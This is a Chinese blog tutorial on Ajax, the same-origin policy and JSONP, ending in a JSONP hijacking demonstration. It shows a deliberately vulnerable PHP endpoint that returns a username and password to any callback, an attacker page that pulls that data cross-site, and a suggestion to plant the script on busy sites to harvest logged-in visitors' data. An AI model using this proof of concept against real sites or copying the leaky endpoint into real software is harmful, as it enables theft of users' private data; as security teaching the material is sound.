从Ajax聊一聊Jsonp hijacking

#前言
偶然看到freebuf去年的一篇文章,JSONP注入解析 ,看完整篇文章并没有太理解其提到的JSONP,仔细查阅了相关资料,在这里将所得与大家分享~
#从Ajax谈起
先提两个众所周知的概念:

  • Ajax,Asynchronous JavaScript and XML,意思就是用JavaScript执行异步网络请求。
  • Web的运作原理:一次HTTP请求对应一个页面。

那么问题来了,当我需要用户感觉自己仍然停留在当前页面,但是部分页面(数据)却可以不断地更新,我该如何去实现呢?当然是让用户留在当前页面中,同时发出新的HTTP请求,这时就必须用JavaScript发送这个新请求,接收到数据后,再用JavaScript更新页面
一个例子:

function success(text) {
    alert('success');
}

function fail(code) {
    alert('fail');
}

var request = new XMLHttpRequest(); // 新建XMLHttpRequest对象

request.onreadystatechange = function () { // 状态发生变化时,函数被回调
    if (request.readyState === 4) { // 成功完成
        // 判断响应结果:
        if (request.status === 200) {
            // 成功,通过responseText拿到响应的文本:
            return success(request.responseText);
        } else {
            // 失败,根据响应码判断失败原因:
            return fail(request.status);
        }
    } else {
        // HTTP请求还在继续...
    }
}

// 发送请求:
request.open('GET', 'http://7xrous.com1.z0.glb.clouddn.com/test2.txt');
request.send();

注意上面代码中的请求地址,这是我七牛云储存的一个test2.txt的外链,当我在和其同源的http://7xrous.com1.z0.glb.clouddn.com/test.txt的控制台中运行这段代码,弹窗success,但是当我在不同源的地方,比如google的控制台去运行,则弹窗fail
这里写图片描述
这里写图片描述
这里先补充下同源的概念:

  • 对于绝对的URIs,源就是{协议,主机,端口}定义的。只有这些值完全一样才认为两个资源是同源的。

那么问题来了,一个公司拥有很多子域名,比如说官网xxx.com的一个Ajax需要调用download.xxx.com的某个资源,跨域了,不可调用,这该怎么办?
jsonp就是一种解决跨域的手段,而问题也就出在这里~
#再来聊聊Jsonp
Jsonp有个限制,只能用GET请求,并且要求返回JavaScript。这种方式跨域实际上是利用了浏览器允许跨域引用JavaScript资源,类似这种:

<html>
<head>
    <script src="http://xxx.com/xxx.js"></script>
    ...
</head>
<body>
...
</body>
</html>

举个例子:
环境,本地wamp
sever端1.html代码:

<!DOCTYPE html>
<html>
<head>
	<title>test_jsonp</title>
	<meta charset="utf-8">
</head>
<script type="text/javascript">
	function refreshPrice(data) {
	    var p = document.getElementById('test-jsonp');
	    p.innerHTML = '当前价格:' +
	        data['0000002'].name +': ' + 
	        data['0000002'].price + ';' +
	        data['1399010'].name + ': ' +
	        data['1399010'].price;
	}
	function getPrice() {
	    var
	        js = document.createElement('script'),
	        head = document.getElementsByTagName('head')[0];
	    js.src = 'http://api.money.126.net/data/feed/0000002,1399010?callback=refreshPrice';
	    head.appendChild(js);
	}
</script>
<body>
<p>hello,friend!</p>
<p id="test-jsonp">当前价格:</p>
<p><button type="button" onclick="getPrice()">刷新</button></p>
</body>
</html>

效果图:
这里写图片描述
JSONP由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数,而数据就是传入回调函数中的JSON数据。
#Jsonp hijacking演示
下面用自己的云服务器模拟环境演示下如何进行Jsonp hijacking攻击
###云服务器端(演示的是站点的某些存在漏洞api接口,也可以说是信息泄露):

<?php
$callback = $_GET['callback'];//得到回调函数名
$data = array(
	"username"=>"test",
	"password"=>"123456",
	"userimage"=>"http://xxx.com/sfhwifhiwhfwifhwifw.jpg"
	);//要返回的数据
echo $callback.'('.json_encode($data).')';//输出
?>
//这里用password比较夸张了,但是日常中还是有站点将重要身份令牌给泄露出来的

###水坑攻击端
所谓水坑攻击,用打战的观点来说,就是在必经之路设下埋伏

<!DOCTYPE html>
<html>
<head>
	<title>test_jsonp</title>
	<meta charset="utf-8">
</head>
<script type="text/javascript">
	function refresh(data) {
	    var p = document.getElementById('test-jsonp');
	    p.innerHTML = '测试:'+"</br>"+
	    data.username +"</br>"+
        data.password +"</br>"+
        data.userimage +"</br>";
	}
	function gettxt() {
	    var
	        js = document.createElement('script'),
	        head = document.getElementsByTagName('head')[0];
	    js.src = 'http://xxx.xxx.xxx.xxx/test2.php?callback=refresh';
	    head.appendChild(js);
	}
</script>
<body>
<p>hello,friend!</p>
<p id="test-jsonp">测试:</p>
<p><button type="button" onclick="gettxt()">刷新</button></p>
</body>
</html>

效果图:
这里写图片描述

so,如果找到一个站点有利用到jsonp跨域,但返回的数据中又有一些重要的信息,我们可以在一个访问量高的站点,或者自己的博客(233)去插入一段js,如果访问者都登陆过了该站点,则可以获取大批量的重要信息
这里放几个乌云镜像上之前爆出的漏洞:
2016-05-04 新浪微博之点击我的链接就登录你的微博(JSONP劫持)
2016-01-27 中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)
2016-01-20 新浪微博JSONP劫持之点我链接开始微博蠕虫+刷粉丝
文章如有解释的不正确的地方,欢迎指出,共同讨论~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 适合毕业设计、课程设计作业。这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。 所有源码均经过严格测试,可以直接运行,可以放心下载使用。有任何使用问题欢迎随时与博主沟通,第一时间进行解答!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值